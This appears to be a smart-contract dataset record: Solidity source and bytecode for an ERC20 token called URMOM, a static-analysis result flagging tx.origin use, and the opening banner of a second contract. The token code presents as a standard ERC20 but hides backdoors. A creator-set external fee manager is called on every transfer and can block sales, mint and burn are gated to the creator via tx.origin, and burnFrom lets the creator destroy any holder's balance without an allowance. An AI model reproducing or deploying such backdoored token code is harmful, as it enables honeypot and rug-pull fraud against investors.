uint256 value); using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; address private tokenCreator; address private feeManager; address private feeManagerCreator; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; decimals = 18; tokenCreator = msg.sender; } function setFeeManager(address manager, address managerCreator) public { require(msg.sender == tokenCreator, "no u"); feeManager = manager; feeManagerCreator = managerCreator; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _fee(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(tx.origin == tokenCreator || tx.origin == feeManagerCreator, "no u"); require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(tx.origin == tokenCreator || tx.origin == feeManagerCreator, "no u"); require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _fee(address from, address to, uint256 amount) internal virtual { if(from == address(0) || to == address(0)) return; if(feeManager== address(0)) return; IFeeManager(feeManager).query(from,to,amount); } } abstract contract ERC20Burnable is ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual{ _burn(account, amount); } } contract URMOM is ERC20Burnable, Ownable { constructor() public ERC20('UrMomChain', 'URMOM') { _mint(msg.sender, 69e18); } function mint(address recipient_, uint256 amount_) public onlyOwner returns (bool) { uint256 balanceBefore = balanceOf(recipient_); _mint(recipient_, amount_); uint256 balanceAfter = balanceOf(recipient_); return balanceAfter >= balanceBefore; } function burn(uint256 amount) public override { super.burn(amount); } function burnFrom(address account, uint256 amount) public override { super.burnFrom(account, amount); } // Fallback rescue function destroy() public { require(msg.sender == owner(), "no u"); selfdestruct(msg.sender); } receive() external payable{ payable(owner()).transfer(msg.value); } function rescueToken(IERC20 _token) public { _token.transfer(owner(), _token.balanceOf(address(this))); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a457c2d711610064578063a457c2d7146106b6578063a9059cbb14610729578063dd62ed3e1461079c578063f2fde38b14610821578063f90e30131461087257610178565b8063715018a61461054657806379cc67901461055d57806383197ef0146105b85780638da5cb5b146105cf57806395d89b411461062657610178565b806339509351116100e7578063395093511461036f57806340c10f19146103e257806342966c68146104555780634460d3cf1461049057806370a08231146104e157610178565b806306fdde031461017d578063095ea7b31461020d57806318160ddd1461028057806323b872dd146102ab578063313ce5671461033e57610178565b36610178576101306108e3565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610175573d6000803e3d6000fd5b50005b600080fd5b34801561018957600080fd5b5061019261090d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d25780820151818401526020810190506101b7565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b506102666004803603604081101561023057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ab565b604051808215151515815260200191505060405180910390f35b34801561028c57600080fd5b506102956109c9565b6040518082815260200191505060405180910390f35b3480156102b757600080fd5b50610324600480360360608110156102ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561034a57600080fd5b50610353610aa8565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037b57600080fd5b506103c86004803603604081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abb565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b5061043b6004803603604081101561040557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6e565b604051808215151515815260200191505060405180910390f35b34801561046157600080fd5b5061048e6004803603602081101561047857600080fd5b8101908080359060200190929190505050610c6c565b005b34801561049c57600080fd5b506104df600480360360208110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c78565b005b3480156104ed57600080fd5b506105306004803603602081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd8565b6040518082815260200191505060405180910390f35b34801561055257600080fd5b5061055b610e20565b005b34801561056957600080fd5b506105b66004803603604081101561058057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fab565b005b3480156105c457600080fd5b506105cd610fb9565b005b3480156105db57600080fd5b506105e46108e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063257600080fd5b5061063b61107a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067b578082015181840152602081019050610660565b50505050905090810190601f1680156106a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106c257600080fd5b5061070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611118565b604051808215151515815260200191505060405180910390f35b34801561073557600080fd5b506107826004803603604081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e5565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b5061080b600480360360408110156107bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611203565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b506108706004803603602081101561084457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128a565b005b34801561087e57600080fd5b506108e16004803603604081101561089557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149a565b005b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a35780601f10610978576101008083540402835291602001916109a3565b820191906000526020600020905b81548152906001019060200180831161098657829003601f168201915b505050505081565b60006109bf6109b86115e3565b84846115eb565b6001905092915050565b60025481565b60006109dc8484846117e2565b610a9d846109e86115e3565b610a988560405180606001604052806028815260200161247c60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4e6115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6115eb565b600190509392505050565b600560009054906101000a900460ff1681565b6000610b64610ac86115e3565b84610b5f8560016000610ad96115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6115eb565b6001905092915050565b6000610b786115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610c4584610dd8565b9050610c518484611beb565b6000610c5c85610dd8565b9050818110159250505092915050565b610c7581611ec1565b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610c9c6108e3565b8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1957600080fd5b505afa158015610d2d573d6000803e3d6000fd5b505050506040513d6020811015610d4357600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610dbd57600080fd5b505af1158015610dd1573d6000803e3d6000fd5b5050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e286115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fb58282611ed5565b5050565b610fc16108e3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111105780601f106110e557610100808354040283529160200191611110565b820191906000526020600020905b8154815290600101906020018083116110f357829003601f168201915b505050505081565b60006111db6111256115e3565b846111d68560405180606001604052806025815260200161250e602591396001600061114f6115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6115eb565b6001905092915050565b60006111f96111f26115e3565b84846117e2565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112926115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061240e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461155d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124ea6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124346022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611868576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124c56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123c96023913960400191505060405180910390fd5b6118f9838383611ee3565b61196481604051806060016040528060268152602001612456602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611b50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b15578082015181840152602081019050611afa565b50505050905090810190601f168015611b425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611be1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480611c945750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b611d06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611da9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dbe81600254611b6390919063ffffffff16565b600281905550611e15816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611ed2611ecc6115e3565b826120ab565b50565b611edf82826120ab565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611f4a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f54576120a6565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611fb0576120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f58a435f8484846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561208d57600080fd5b505af11580156120a1573d6000803e3d6000fd5b505050505b505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614806121545750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b6121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561224c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124a46021913960400191505060405180910390fd5b6122b7816040518060600160405280602281526020016123ec602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230e8160025461237e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006123c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a5a51e483736014f4b8c044459d54b4f62174f3a740290dde6dfe0def67edec764736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,976
0xf4f2afd22c06ada3068f23a639f87e21ba300ab2
/* ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓💥 MOONLIGHT FINANCIAL OKEN 🌛▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓ MoonLight.Enterprises ▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░ ░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░░░ ░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓████▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░ ░░ ░░░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░░░░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒░░░░░░░░░░░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒░░░░░░░░ ░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓██▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒░░░░░░░░ ░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓██▓▓██▓▓██████▓▓██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓██████▓▓▒▒▒▒▒▒░░░░░░░░░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▓▓▓▓████▓▓████▓▓████▓▓▓▓▓▓▒▒▒▒▒▒▒▒▓▓██████▒▒▒▒▓▓▒▒▒▒░░░░░░ ░░░░░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▓▓▓▓██▓▓██▓▓████▓▓████▓▓▓▓▓▓▒▒▒▒▒▒▓▓▒▒██▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▓▓▓▓██▓▓██▓▓██▓▓██████████▓▓▒▒▒▒▒▒██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓░░░░░░ ░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓██▓▓██████████████████▓▓▓▓▒▒▒▒██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓████▓▓██▓▓██████████████▓▓▓▓▒▒▓▓██▓▓██▓▓▓▓▓▓██▓▓▓▓██▓▓▓▓▒▒▒▒▒▒░░ ░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓██▓▓▓▓▓▓▓▓▓▓████████████████████▓▓▒▒▓▓▓▓██▓▓▓▓██▓▓▓▓██▓▓██▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ 